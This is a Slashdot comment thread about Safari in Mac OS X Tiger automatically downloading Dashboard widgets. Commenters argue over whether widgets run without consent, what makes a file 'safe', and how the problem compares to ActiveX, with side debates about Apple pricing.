    92. Re:widgets limited by Anonymous Coward · · Score: 0

      Running arbitrary code from the Internet with privilege escalation possible (described in a comment a bit above me) *without any user intervention whatsoever* is just plain inexcusable.

      Fortunately, that doesn't happen here. I only hope Slashdot will be quick in publishing a retraction, or very careful correction, of the misinformation being proffered here. On download of any widget, there is a warning it contains an executable in a dialog box querying to cancel or continue. After that, in order for a "malicious" widget to do any damage the computer actually has to run it. That is, widgets do not auto-execute. It has taken a while, but it looks Microsoft has realized (again) it can pay employees to post misinformation on the Internet. That's my theory for what's going on here.

    93. Re:widgets limited by Anonymous Coward · · Score: 0


      Actually they don't have to work like that. They're not supposed to use resources while the dashboard isn't active, but they easily can. Widgets have "onhide" and "onshow" functions which you use to put your widget to sleep (sort of) whenever the dashboard goes away, or cause it to reactivate when the dashboard is again displayed. But you can easily leave it running in the background by just pointing the onhide function to an empty function that just returns 0.

    94. Re:widgets limited by Anonymous Coward · · Score: 0

      No, you didn't. You're not an ADC member.

    95. Re:widgets limited by Anonymous Coward · · Score: 0


      Imagine if IE let any application download and install itself into the Start Menu folder of it's choice. Let's say I write an application that installs automatically into Mail/Outlook and put malicious code in it.

      Now do you see the problem? Safari installs widgets with no prompting for the user. I've downloaded at least 20 from Apple's site in the past 3 days and not one asked me if I wanted to continue or anything. Open Safe Files is checked in my Safari, as it is by default in all new installs.

      What capabilities of widgets have I made up? They can fully access the system if the developer wants them to. They can be installed without user interaction. They can very easily be made to look like a legit Apple widget that came with the OS.

      But hey, maybe I am wrong. Maybe everyone who is seeing the problem is completely off base and has no idea what is going on. Or more likely you are just trolling.

    96. Re:widgets limited by kaltekar · · Score: 1

      The only problem with this logic is that widgets only run when the widget layer is running, widgets do not run in the background, otherwise there would be a resource crunch with all the widgets running on some peoples systems. Little experiment proves this.

      Open Activity monitor or run top from the terminal, note the sustained CPU usage. Now bring up the widget layer, note the increase in sustained CPU usage. Even if someone installed an invible data mining widget, the only time it would run is when the user brings up the widget layer.

      --
      Ahh.. The mind what a wonderful trap!
    97. Re:widgets limited by Anonymous Coward · · Score: 0


      Actually that's not true. Developers can write widgets that run in the background, Apple just encourages people not to. Basically to keep Apple happy you should create onhide and onshow functions, which the widget calls when the dashboard goes active/inactive. If you don't write them your widget will constantly be running in the background.

    98. Re:widgets limited by Anonymous Coward · · Score: 0

      You idiot. It asks the first time you try to run the widget. It's the same fucking thing.

    99. Re:widgets limited by Arrgh · · Score: 1

      Sorry, you're right, I had XSS bugs confused with cross-domain scripting bugs, which do affect browsers.

    100. Re:widgets limited by Arrgh · · Score: 1

      Of course, particular JVM implementations (in this case the outdated and increasingly unpopular MS VM) are subject to the same rules as any other software. My point is that the design of Java, including the verifier, security manager and default applet policy, provide an effective (but of course not perfect) prophylactic against most common types of mobile code security problems.

    101. Re:widgets limited by Anonymous Coward · · Score: 0

      Well, I guess that's great for you who don't appreciate the features in Automator, Dashboard and Spotlight... but I for one am ecstatic about all of the above. And I don't really see the issue with simply ignoring Dashboard if you don't like it, because the bug fixes and updates to Safari you wanted are under the hood anyway (as well as QuickTime 7 with support for H.264... but that's a free upgrade for any OS X user). When Panther came out I thought Exposé was really cool, but turns out I never really find an occasion to use it... As with Dashboard it can be ignored if you so choose. In closing: check out Spotlight, it's awweeesome =)

  6. Too integrated by m50d · · Score: 4, Insightful

    This is what happens when you tie together parts of the OS that shouldn't be put together. In particular, has apple not realised that having the browser tied to anything that expects local rather than remote content is fundamentally an incredibly stupid idea?

    --
    I am trolling
    1. Re:Too integrated by zkn · · Score: 1

      Well the widgets are rather "remote". At least 50% of them are pulling stuff from the internet.
      However there are problems with the dashboard/safari integration beyond this.
      Since it runs both ways(The extended usebility of widgets is supported in safari) there is potentiel for some IE like *BLAM spamware en mase* situations.

      Hopefully this will wakeup someone at apple and they'll cut the ties between safari and dashboard. And fix auto install to propt while they are at it.

    2. Re:Too integrated by Anonymous Coward · · Score: 0

      It does prompt, the first time you run a new widget, it asks if you would like to allow the widget to run.

    3. Re:Too integrated by m50d · · Score: 1

      The widgets themselves aren't remote. It's the difference between a web browser and a web page.

      --
      I am trolling
  7. In soviet russia by zkn · · Score: 4, Funny

    Apple copies Microsoft.....

    1. Re:In soviet russia by Ilgaz · · Score: 1

      Seriously, how come no MS zealots came up with the (now dead) Active Desktop of IE 4 times?

      I mean, I used that thing. Hope not hallucinated.

      Giving a clue to MS zealots because I hate Apple zealots equally is another thing btw ;)

    2. Re:In soviet russia by NutscrapeSucks · · Score: 1

      Well, I'm not a MS Zealot, but I sometimes play one on slashdot :) I've made the Dashboard/HTA/ActiveX comparision a few times: here and here (note the Mac Zealot claiming that Dashboard could not spread spyware, gloat gloat).

      However, this isn't the same issue as ActiveX, in fact it's worse. Here the browser is automatically running executables downloaded from the web with no prompt. Even worse, this isn't the first time that Safari has done this, so obviously someone at Apple thinks auto-installation is a pretty keen feature and keeps intentionally sticking it in.

      The other big danger with a DHTML-based application system like Dashboard is that the "sandbox" will have flaws -- and that someone can figure out how to do "dashboard-like" things (such as writing files or running programs) from javascript in an internet web page.

      As far as I know, nobody's been able to do this yet, but it's only been a couple weeks. This would be a similar problem to the Mozilla thing reported this morning and countless IE flaws -- "trusted" scripts running when they should not.

      Basically I agree with the conventional wisdom that ActiveX was an incredibly stupid and/or naive design back in 1997. What really confounds the fuck out of me is why Apple and Mozilla chose to copy aspects of the ActiveX years after everyone's known how terrible it is.

      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
    3. Re:In soviet russia by NutscrapeSucks · · Score: 0, Flamebait

      I admit that as terrible evil MS Scum, I haven't got around to installing Tiger on my Powerbook yet.

      But according to the story, the code automatically runs as soom as the user presses the Fkey or whatever to bring up the Dashboard. I also don't believe it's worse, but it is (depending on implemention details) potentially just as bad as ActiveX. If Apple missed something this obvious, how good is the rest of it?

      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
    4. Re:In soviet russia by Anonymous Coward · · Score: 0

      Yay! For the millionth time.

      Installing a Dashboard widget has nothing to do with installing an app. All installing means is putting a link to the widget in the list of widgets available to be installed.

      Honestly, how many people have to keep making that same point over and over again? After seeing this same fundamental point being ignored over and over again I'm starting to assume most of you are intentionally pretending that simply clicking on a link will execute arbitrary code.

    5. Re:In soviet russia by BasilBrush · · Score: 1

      You're still clueless Nutscraper. The page does not automatially run the widget. The user has to explicitly choose to run it by dragging it from the widgets bar to the Dashboard.

    6. Re:In soviet russia by BasilBrush · · Score: 1
      You don't read too well Nutscraper, neither the /. story, nor TFA says that anything is run automatically. Once again for the hard of thinking, nothing is executed automatically, not even an installer.

      The only action that takes place automatically is that a bundle is downloaded to ~/Library/Widgets. Period. And no this does not mean that it will be run next time you bring up the Dashboard either, before you think of suggesting that.

    7. Re:In soviet russia by NutscrapeSucks · · Score: 0, Offtopic

      Glad to see you're on your meds now Basil, but I read your AC posts. Yes, it's not executed, it just sticks an icon for a potentially malicous application in a prominent place. Off to install Tiger!

      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
    8. Re:In soviet russia by BasilBrush · · Score: 0, Offtopic

      What AC posts would those be nucklescraper?

  8. HAH! by JoeCommodore · · Score: 2, Funny

    I'm running Jaguar!

    I can't afford to buy all the Apple "upgrades of the month."

    --
    "Enjoy what you're doing! If it becomes drudgery, you're doing it wrong!" - Jim Butterfield
    1. Re:HAH! by Anonymous Coward · · Score: 0

      I'm running Jaguar!

      I can't afford to buy all the Apple "upgrades of the month."


      what's the k00l code name for the 7.6.1 running on my 603 all-in-one? i guess i wont have to worry about the bad widgets either. woot!

    2. Re:HAH! by diamondsw · · Score: 1

      You haven't been able to afford $129 in the past two and a half YEARS?

      Damn, man - add a paypal donate link as a sig.

      --
      I don't know what kind of crack I was on, but I suspect it was decaf.
    3. Re:HAH! by JoeCommodore · · Score: 1

      I'm sitting in front of one of at least 36 Macs, and I work for a non-profit. (not a school). 'Nuf said.

      --
      "Enjoy what you're doing! If it becomes drudgery, you're doing it wrong!" - Jim Butterfield
    4. Re:HAH! by solios · · Score: 1

      His .mac subscription probably eats that right up.

      Apple charges a hundred bucks a year for a shitload of essential functionality that ought to be shipped uncrippled.... so I keep a linux box around to handle the things I'd be able to do otherwise. :P

    5. Re:HAH! by Anonymous Coward · · Score: 0

      $258, surely (Panther plus Tiger).

    6. Re:HAH! by kinzillah · · Score: 1

      can you explain please? I want to buy a mac, but I'm wondering what you think it's lacking.

      --
      Douglas P. Price
    7. Re:HAH! by ChuyMatt · · Score: 1
      Apparently, Mac OS is missing a fantastic and simple way of producing webpages and publishing them for free on someone else's servers, a simple and powerful backup program, random free software every month from non-apple vendors, a personal off sight disk which will sync with your address book, your calendar, and your bookmarks.

      apparenly, all that should be free. I don't quite agree and I think that, with what I use, the money is well spent; I have had all of my tech support questions answered promptly, problems fixed quickly regarding my mail, I have been able to publish and share things with my friends and family W/O the annoyance of keeping my computer on all hours of the day and night, and I have been able to access all of my addresses easily when I have been without access to my PDA.

      So, if you are going to buy a computer, please, don't look to /. for answers. We really are fanatic about our respective OSs.

      as for what it is lacking? Upgradability on the hardware end. Most of the vendors tend to overcharge for, essentially, writing firmware and drivers for their upgrades and peripherals. Kind of drives me nuts, but if you are looking for ease of use, Mac OS will do that. For utter compatibility, try XP. For customizability, Linux is your best bet. For power and (for the most part) security, Mac OS X and Linux in my experience both do well.

      Good luck.

    8. Re:HAH! by kinzillah · · Score: 1

      yeah, except I'm getting tired of needing to endlessly customize linux to my needs. I spend 40 hours a week fixing XP, I'd rather stay away from it at home.

      --
      Douglas P. Price
    9. Re:HAH! by bnenning · · Score: 1

      Apple charges a hundred bucks a year for a shitload of essential functionality that ought to be shipped uncrippled

      There's nothing in .mac that's essential. Some of it might be convenient, but it's not worth anywhere near $100/year, at least to me. If you want to rant about pointless crippling, Quicktime Player disabling full screen mode unless you fork over an extra $30 is *really* stupid.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    10. Re:HAH! by Anonymous Coward · · Score: 0

      No, not "'nuf said". Is the problem that you are running 36 Macs that would cost a fortune to upgrade or that you are truly working for peanuts? Tech people at non-profits are often compensated very well, especially in the western states. Or maybe running the 36 Macs is making your earnings go straight to the local electric company? Honestly, I'm curious.

    11. Re:HAH! by dtfinch · · Score: 1

      How could they afford the Macs but not the upgrades?

    12. Re:HAH! by MoneyT · · Score: 1

      You can buy and upgrade to Tiger without buying panther.

      --
      T Money
      World Domination with a plastic spoon since 1984
    13. Re:HAH! by Moofie · · Score: 1

      Yep, and I'm sure that they all just stopped working as soon as they heard that The Mothership shipped a new version of the OS.

      What was your point again?

      --
      Why yes, I AM a rocket scientist!
    14. Re:HAH! by ChuyMatt · · Score: 1

      I guess that Mac OS would be the thing for you.

    15. Re:HAH! by nmk · · Score: 1

      That may be marginally funny, but calling them "upgrades of the month" is petty. Expose, Multi User, and Spotlight have made my computing life much easier. Spotlight in particular is brilliant. I really don't have to worry about where anything is anymore. Not wanting to be mean here, but simply because you cant afford Apples upgrades doesn't mean they are not worth having.

    16. Re:HAH! by JoeCommodore · · Score: 1
      I take it you never worked for a real non-profit organization. Our administrative costs are shrinking (budget reforms have slashed many program administrative support costs from 15% to 10 or as low as 8%).

      Running the Macs have kept our costs down over the years (computers & OSs averaged a 5 year life span), but like many current Apple catch phrases, "it's so intuitive" and "just works," those were better suited to Mac OS 7-9. Now its more like: "It's so intuitiuve - once you learn how to use terminal, and have a good thick book", "iFurniture", "We're more into iPods and iLife than databases and publishing", and "we expect you to open your pocketbook on an annual basis."

      I figure Microsoft will be (more) that way when Longhorm comes out.

      Linux, here we come - It's nice to see some affordable platforms and development tools again.

      --
      "Enjoy what you're doing! If it becomes drudgery, you're doing it wrong!" - Jim Butterfield
  9. Thanks Slashdot! by CypherXero · · Score: 1, Funny

    Nothing happened to me (I'm running XP at the moment), but there's a friggin ZIP file sitting on my desktop. OK, time to bring out my tin foil hat! And to the /. editors, don't link to shit like that, damn! That's just common sense.

    1. Re:Thanks Slashdot! by jericho4.0 · · Score: 4, Funny
      Oh. My. God. There's a zip file on your desktop. Holy Shit. A zip file, for Christ's sake! What will your fate be? Long and painful, or medium and painful? How will your family go on?

      --
      "A language that doesn't affect the way you think about programming, is not worth knowing" - Alan Perlis
    2. Re:Thanks Slashdot! by CypherXero · · Score: 1

      That ZIP file could have been anything, like vbs, batch, etc..I'm smart enough not to open stuff like that, but there are a lot of people that aren't. Also, I don't like stuff download to my computer without my knowledge (like what happened). So it's not the ZIP file I'm worried about, it's the ease it took to get it there. And I'm running Firefox 1.0.3, too.

    3. Re:Thanks Slashdot! by mike5904 · · Score: 0, Redundant

      That's interesting, I just tried it with IE, Firefox, and Opera, and all of them simply displayed the standard dialog asking to download the file. Might be worth noting I'm just running XP SP1 though.

    4. Re:Thanks Slashdot! by pmazer · · Score: 1

      Strange... Firefox asked me if I wanted to download it or not.

    5. Re:Thanks Slashdot! by YrWrstNtmr · · Score: 3, Informative
      FF can be set to d/l automatically. "Do this automatically for files like this from now on." If you've clicked that box in the past, zip files will be automagically downloaded. This will work for any filetype. Automatically play a .wav/mp3 file, or open a .doc, or d/l whatever.

      Dumb to do, but it can be set like that.

    6. Re:Thanks Slashdot! by Bungopolis · · Score: 1

      Jesus christ, read the article! This is a security warning applying specifically to the Safari browser on Apple's MacOS 10.4 "Tiger". If you're either not running Safari or not running Tiger (if you don't HAVE dashboard, how could it possibly install a widget to it?) then you are obviously not going to see anything out of the ordinary at this link!

    7. Re:Thanks Slashdot! by Anonymous Coward · · Score: 0

      WTF? Yes, it might be the fact you're not running MacOS X, let alone Panther, nor Safari.

    8. Re:Thanks Slashdot! by Anonymous Coward · · Score: 0

      Mike Mike Mike. What ARE we gonna do with you?

    9. Re:Thanks Slashdot! by Anonymous Coward · · Score: 0

      That's the one thing I really don't like about Firefox. Or how, by default, it automatically downloads everything to the desktop. What were people thinking?

    10. Re:Thanks Slashdot! by Anonymous Coward · · Score: 0

      This is Slashdot, not AOL.com. I know that not everybody here is an expert, but surely we all know enough not to run random programs from the internet.

    11. Re:Thanks Slashdot! by Anonymous Coward · · Score: 0

      That's damn handy. If I download a file, I want it somewhere I'll see it and remember to deal with it later. My browser doesn't download anything I don't tell it to; why are you complaining?

    12. Re:Thanks Slashdot! by Anonymous Coward · · Score: 0

      Please stop using the term 'automagically'.

    13. Re:Thanks Slashdot! by mike5904 · · Score: 1
      Sorry, next time I read the article I'll realize that
      "Other browser users will probably find it on their desktop."
      doesn't mean that other browser users will probably find the file on their desktop. Oh, and I'll also realize that
      "Nothing happened to me (I'm running XP at the moment), but there's a friggin ZIP file sitting on my desktop. OK, time to bring out my tin foil hat! And to the /. editors, don't link to shit like that, damn! That's just common sense."
      doesn't imply unexpected behavior under Windows XP. Perhaps it doesn't do anything at all outside of those conditions, but that doesn't mean that the article and the post I replied to don't indicate otherwise.
    14. Re:Thanks Slashdot! by Anonymous Coward · · Score: 0

      I say we line up all the people who say "automagically", and shoot them.

      After we shoot this dashboard widget virus writer, of course. As a proof of concept.

    15. Re:Thanks Slashdot! by douglasq · · Score: 1

      Can we develop a dashboard widget that will line them up and shoot them "automagically?"

      It could even line them up by zip code or time zone. Maybe according to their stock symbol.

      --
      "Form should follow function...unless it's just plain ugly."
  10. 1st real ad-ware? by EggyToast · · Score: 2, Interesting
    Definitely easier to remove than most Windows Ad/spyware, but still a pain in the butt. Just goes to show that making something painless for the user can often lead to the technology being abused by more nefarious individuals.

    I know that Windows usually posts security fixes and doesn't address spyware exploits specifically in many cases -- it'll be interesting to see if Apple addresses this in 10.4.1 or if we see a patch sooner (or later!)

    1. Re:1st real ad-ware? by Aphrika · · Score: 2, Interesting

      "Just goes to show that making something painless for the user can often lead to the technology being abused by more nefarious individuals"

      Yup, it's a bit like scripting in Outlook and ActiveX in IE; incredibly useful in a fully controlled environment, but incredibly vulnerable in the wild and hugely open to exploitation. I would have assumed Apple would've seen the fun and games that MS has had with scripting, embedding and browser/OS interaction over the years to not let something like this happen.

      Microsoft seemed to end up in knots trying to sort out the ActiveX and scripting debacles, the result being lots of dialog boxes and the IE info bar (easily faked in a web page too!), so it will be interesting to see how Apple go about fixing it, which I'd assume would be a simple block on automatic installs.

  11. Yeah... by Nanoda · · Score: 3, Funny
    imagine porn sites auto-installing adware widgets without your knowledge.

    Yeah... I'm imagining those porn sites.........

  12. Nothing to worry about... by Anonymous Coward · · Score: 0

    This is similar to the "scary" Firefox exploit mentioned earlier: if you don't have automagic download and installation of software enabled, you have nothing to worry about.

    In other words, unless you're a hopelessly ignorant @$$wad, you're in the clear.

  13. trying to be popular by Anonymous Coward · · Score: 0

    ignoring is not a good way to become popular. yes, we know it worked for microsoft, but um

  14. Not much of a problem... by InternationalCow · · Score: 5, Informative

    If you do not tick the "open safe files" check box in the prefs. Which you should left unchecked if you're not entirely stupid, as there is no way to tell whether any file is actually "safe". Good Internet Practice, as I like to call it.

    --
    ----- One learns to itch where one can scratch.
    1. Re:Not much of a problem... by mattgreen · · Score: 2, Insightful

      If this were a Microsoft product, the consensus would not be nearly so optimistic. Between this and the 19 holes recently fixed, looks like Apple doesn't exactly have a sparkling record when it comes to security anymore. Much better than Windows, but then again pretty much everything is.

    2. Re:Not much of a problem... by Anonymous Coward · · Score: 5, Insightful

      No, it should be pretty easy to tell what is a "safe" file. PDF, for example, is a safe file, as is HTML, as is a GIF. A dashboard widget is NOT.

      Apple really screwed up with allowing dashboard widgets to be listed as a "safe" file and they need to patch this as soon as possible. This is one of the big problems with IE, that they went from "autoopen anything, even unsafe stuff" to "warn you about viruses when you try to download ANYTHING, including a PDF". Clearly identifying what is safe is as important as identifying what is unsafe, otherwise people just double-click everything they download not realizing it's a .app.

    3. Re:Not much of a problem... by Temporal · · Score: 2, Insightful

      as there is no way to tell whether any file is actually "safe".

      Wrong. Text files are "safe". JPEG files are "safe". Java applets are "safe". Flash is "safe". Any software written in a verifiable-bytecode-based, pointer-safe language with capability-based security should be "safe".

      Obviously a dashboard widget should not be considered safe, but that doesn't prove that it's impossible to tell if a file is safe. It only proves that the Safari developers made a mistake when deciding what should be considered safe.

    4. Re:Not much of a problem... by Mike+McTernan · · Score: 5, Insightful

      Which you should left unchecked if you're not entirely stupid

      I always thought that one of Apple's selling points was that they are made for non-experts. So giving users an option to potentially shoot their foot off seems to be a little unfortunate. Almost by definition, few people are experts.

      --
      -- Mike
    5. Re:Not much of a problem... by Anonymous Coward · · Score: 2, Funny

      JPEG files are "safe"

      hello.jpg, tubgirl, need I go on?

    6. Re:Not much of a problem... by Anonymous Coward · · Score: 0

      Fucking pathetic, every putz like you sees this bogus story as their chance to post their same stupid comment.

    7. Re:Not much of a problem... by geoffspear · · Score: 1, Interesting
      Except that's not one of Apple's selling points; it's FUD spread by Windows and Linux zealots who like to think their computers are more suitable for expert users.

      Do you think including sudo is "unfortunate" because of all the damage you can do to your machine with it?

      --
      Don't blame me; I'm never given mod points.
    8. Re:Not much of a problem... by reagan9000 · · Score: 1

      Why isn't this listed in Preferences under 'Security'? Anything where the allowing the browser to open dowloaded files automatically should be set with other security-related options.

    9. Re:Not much of a problem... by Anonymous Coward · · Score: 0

      It's a shame that Apple made the "Open safe files" the default setting in Safari.

    10. Re:Not much of a problem... by Anonymous Coward · · Score: 0

      locally executed flash files are safe? really?

    11. Re:Not much of a problem... by kitzilla · · Score: 2, Informative

      Yup. Safari just tossed the widget on my desktop for consideration. Still ...

      --
      This is my post. There are many others like it. If you don't like what you read here, go try one of the others.
    12. Re:Not much of a problem... by Lars+T. · · Score: 3, Informative
      --

      Lars T.

      To the guy who modded me down from perfect to terrible Karma - Apple haters still suck

    13. Re:Not much of a problem... by mooniejohnson · · Score: 2, Insightful
      ... 19 holes recently fixed ...
      Better to have the holes exist and be patched than to have them exist and not patched, or denied that they exist (also know as "just plain ignored"). Software will always have holes. The security record should be measured on how quickly they get patched AND how many exist.
      --

      Elmo knows where you live!

    14. Re:Not much of a problem... by Refrag · · Score: 1

      If a widget includes native code, then it is not considered safe and the user is presented with a dialog.

      --
      I have a website. It's about Macs.
    15. Re:Not much of a problem... by Anonymous Coward · · Score: 1, Informative

      Any self describing binary file is most definitely *NOT* safe, this includes GIF and PDF. There's too much chance for buffer overflow.

    16. Re:Not much of a problem... by pammon · · Score: 1

      Dashboard widgets are not .apps. They're a lot closer to HTML files.

    17. Re:Not much of a problem... by petermgreen · · Score: 1

      there are two types of unsafe

      unsafe because thier might be bugs in the code interpreting them (pretty much any format that doesn't map more or less directly to text or display data)

      and unsafe by design for example running native code under a users permissions (yes its techincally possible to sandbox native code but its extremely rare and requires good knowlage of exactly how the kernel will behave) or designing an app like dashboard that can be trivially taken over and rendered unusable (as demonstrated by the site)

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    18. Re:Not much of a problem... by jZnat · · Score: 1

      What the hell are you talking about?

      JPEG files could contain that old buffer overflow error in Windows applications.

      Java applets can contain spyware now, but Sun's Java security options are pretty good (provided you don't accept warnings for spyware, but ActiveX has been doing that for years).

      Flash/Shockwave can use LSO's (local shared objects) to store tracking cookies or spyware.

      And text files technically could be JavaScript/ActiveX/other interpretted languages.

      --
      'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
    19. Re:Not much of a problem... by bani · · Score: 1

      "open safe files" is checked by default. since most computer users are novices... you really expect them to dig through the prefs and find this and disable it?

      apple made a huge mistake with this. they should fix it immediately.

    20. Re:Not much of a problem... by Anonymous Coward · · Score: 1, Informative

      Actually Acrobat can run javascript embedded in PDFs, which could in theory open up a number of exploits.

    21. Re:Not much of a problem... by Anonymous Coward · · Score: 0

      No, unlike a HTML file, a widget can call OS APIs. It's basically a scripting app.

    22. Re:Not much of a problem... by Temporal · · Score: 1

      None of your examples have anything to do with my point. A "safe" file in this case is one which can be opened (using the format's full intended functionality) without giving the file's author the opportunity to damage your system, assuming a correct implementation (no buffer overruns). An executable file is unsafe because it is generally not possible to examine the contents of the executable ahead of time to see what it plans to do. The presence of an incorrectly-implemented viewer for a format does not make that format itself unsafe.

      Why do people like you say things like "What the hell are you talking about?" and then proceed to make completely nonsensical arguments?

    23. Re:Not much of a problem... by Temporal · · Score: 1

      That doesn't make JPEG unsafe. That makes those decoders unsafe.

    24. Re:Not much of a problem... by Anonymous Coward · · Score: 0

      I always thought that one of Apple's selling points was that they are made for non-experts

      Non-expert does not mean "idiot", no matter how hard Microsoft, et al. try to make it seem that way. Even non-experts should have the skills necessary to prevent or fix this kind of problem.

      Frankly, none of the user-end fixes for this seem to be any more complicated than the "average user" should be able to handle. It's just not that complicated to remove. Removing a file from ~/Library/Widgets/ is a hell of a lot easier and sensible than having to modify some obscured registy entry. It could be made easier, but it's not some arcane secret in the first place.

    25. Re:Not much of a problem... by Lars+T. · · Score: 1

      No, it means you can not know what is safe, unless you know the decoder is safe - which you can't. And even Open Source won't save you here, see libtiff. Displaying text is safe? Sure, unless there is something like escape characters.

      --

      Lars T.

      To the guy who modded me down from perfect to terrible Karma - Apple haters still suck

    26. Re:Not much of a problem... by Farmer+Tim · · Score: 1

      "Almost by definition, few people are experts."

      Not really: "x" is an unknown quantity, and "spurt" is a drip under pressure. I'd say a lot of people qualify.

      --
      Blank until /. makes another boneheaded UI decision.
    27. Re:Not much of a problem... by Anonymous Coward · · Score: 0

      No, it should be pretty easy to tell what is a "safe" file. PDF, for example, is a safe file, as is HTML, as is a GIF. A dashboard widget is NOT.

      Good luck with that attitude to security. "Safe file"? You never heard about the image-exploits in IE and Firefox I guess.

      A real expert knows that NO FILE from the Internet is secure.

      The Pro's never plug in the network, and keep the shades down..

      Seriously. Any of those files can open up for a local root exploit. The security has nothing to do with the format, but the program/OS that access them.

      Hell, even a text-file can be potentially dangerous, since it may ask someone to send their password to this and that address for verification or such non-sense. But a malformed text-file could also overflow something in IE / Notepad..

    28. Re:Not much of a problem... by BRonsk · · Score: 0

      Are you aware of the JPEG exploit? No file is safe.

    29. Re:Not much of a problem... by Temporal · · Score: 1

      If you're going to disable automatic opening of JPEG files for that reason, then you'd better disable your internet browser altogether. After all, your browser's JPEG renderer or even its HTML render could very well have buffer overruns.

      Note: If the decoder is written in a varifiable-bytecode-based, pointer-safe language using capability-based security, it's quite possible to know for sure that it is safe. It's too bad everyone insists on using C/C++, which is none of those things. (And even Java only covers the first two.)

    30. Re:Not much of a problem... by sootman · · Score: 1

      Not much of a problem... If you do not tick the "open safe files" check box in the prefs.

      My copy of Tiger just showed up this weekend and I haven't had a chance to install it yet. Anyone know if the "Open safe files" box is checked by default, as it has been in every previous release of Safari?

      If so then yes, it very much is a problem. Remember, we're talking about the unknowing masses here, who start every browser session with a look at http://www.apple.com/startpage because they don't know they can change it.

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    31. Re:Not much of a problem... by scm · · Score: 1

      Safari won't autoinstall widgets until you create a ~/Library/Widgets (at least if you upgraded)

  15. The solution by Little+Grey · · Score: 5, Informative

    Is to turn off "Open 'Safe' downloads" in Safari's Options.

    It's just common sense anyways

    1. Re:The solution by ender81b · · Score: 5, Insightful

      The solution to spyware on windows is to turn off activex in internet explorer and set it to run as guest...

      It's just common sense.

      Seriously though this is a very bad idea and apple needs to fix this ASAP.

    2. Re:The solution by Anonymous Coward · · Score: 0

      "Is to turn off "Open 'Safe' downloads" in Safari's Options."

      Eh? That's certainly not common sense. In fact, that makes no sense at all. You're turning off 'Open Safe Downloads' so you don't get dubious 3rd party downloads? What does OSX regard as an unsafe download?

    3. Re:The solution by Anonymous Coward · · Score: 0

      I love it when Mac users give the same lame excuses Windows users give.

    4. Re:The solution by Anonymous Coward · · Score: 0

      Not so sensical if it says safe

    5. Re:The solution by Doctor_Jest · · Score: 0

      Helluva lot easier to do Apple's fix than Microsoft's isn't it?

      That speaks volumes about the two OSes.

      --
      It's the Stay-Puft Marshmallow Man.
    6. Re:The solution by Professor_UNIX · · Score: 2, Informative
      The solution to spyware on windows is to turn off activex in internet explorer and set it to run as guest...

      But without ActiveX you lose the functionality that is the only reason most people still use IE at all. By shutting off "open safe files" you don't lose functionality other than convenience of not having to manually open downloaded files.

    7. Re:The solution by yincrash · · Score: 1

      ... common sense ...

      yes. it's common sense to turn off options that the average user has no idea how to get to...

      precautions are not always common sense. and really, the only advantage that IE has over firefox nowadays is that sites still use activex.

    8. Re:The solution by noidentity · · Score: 1

      The solution is to turn off "Open 'Safe' downloads" in Safari's Options.

      I guess that's why they put "safe" in quotes.

    9. Re:The solution by Anonymous Coward · · Score: 0

      Ah, yeah, because 99% of the web will function fine with it setup that way.

      Er. Wait. No it won't...

    10. Re:The solution by Anonymous Coward · · Score: 0

      It's just common sense anyways

      Where is this common sense? I mean, I've heard rumors about it here and there, but never actually observed it in any forum..

      I think sense is rare, not common. The proverb should be updated.. As in:

      Duh! Use your rare sense, man. Be 1337!

    11. Re:The solution by Cro+Magnon · · Score: 1
      It's just common sense anyways


      Then why didn't Apple do it? It's common sense to default to more security. If the default is "fsck me now", how is Apple better than M$?
      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
  16. Re:fp? by Anonymous Coward · · Score: 0

    Indeed. What with Firefox being able to execute arbitrary code, and now dashboard adware coming in via Safari, today really hasn't been a good day for proponents of alternative browsers.

  17. WCS by LittleGuernica · · Score: 0, Redundant

    So the worst case scenario is that the icon in de dashboard bar is pornographic? I;m going back to windows instantly, because with windows, I can also immediately dial-up to a porn site, eat that Apple! (no pun intended)

    It's true that it's too easy to install a widget with safari, because it unzips and install automatically, but it can't do anyharm but to your eyes..

    Still, some sort of warning with a preview would be a good idea.

    1. Re:WCS by Psykechan · · Score: 1

      No there are worse things.

      This could be used to perform a Denial-of-Service attack on any 10.4 Mac thanks to the dashboard always running.

      On the Mac itself, a malicious widget could simply just use as much resources as possible. While this probably wouldn't crash the system, it would likely slow it down due to excessive swapping.

      Another idea would be to have a malicious widget continuously pull info from a specific site causing excessive traffic. Get enough widget-bot systems together and attack the site of your choice.

      I've thought that the Dashboard was needless eye candy but this is ridiculous; it's like the Mac version of Active Desktop! Apple needs to fix this or at least give people an easy option of removing Dashboard.

    2. Re:WCS by trans_err · · Score: 1

      Except that Dashboard widgets don't run while dashboard isn't active.

      Dashboard actually does use a lot of resources, but only when open.

    3. Re:WCS by Anonymous Coward · · Score: 0

      > Except that Dashboard widgets don't run while dashboard isn't
      > active.

      Except for the ones that DO run while dashboard isn't active. That's an optional behaviour, settable by the widget itself.

  18. uh... by pkboy · · Score: 2, Funny

    "imagine porn sites auto-installing adware widgets without your knowledge." I guess Mac users can now blame their browsers for the pr0n popping up on their computers as well.

  19. hey by Anonymous Coward · · Score: 0

    The guys at Apple finally have something to do!

  20. Like everyone else in the tech industry, by Mordant · · Score: 0, Troll

    the idiots at Apple, completely unheedful and unmindful of prior art and experience - this is especially true of security-related matters - are going about slowly ensuring that OS/X will end up just as full of security holes and vulnerabilities as Windows.

    This is sad; I love my PowerBook, I love OS/X, I'm a *NIX switcher (i.e., not an Apple person, but a *NIX person who switched from Linux to the Mac in order to get the benefits of FreeBSD along with all the goodness of Apple's hardware and multimedia capabilities, not to mention Office).

    Someone needs to whack Jobs over the head and get him to focus his people on security, or the Mac will end up being as full of malware as Windows, solely because Apple programmers are doing stupid things which undermine the solid security foundation of FreeBSD which OS/X was built upon, but which can be bypassed by doing stupid things with the GUI/APIs layered atop it.

    1. Re:Like everyone else in the tech industry, by Anonymous Coward · · Score: 1, Insightful

      or the Mac will end up being as full of malware as Windows

      The reason Windows is so full of malware is because everyone uses it.

    2. Re:Like everyone else in the tech industry, by linguae · · Score: 2, Insightful

      Troll?

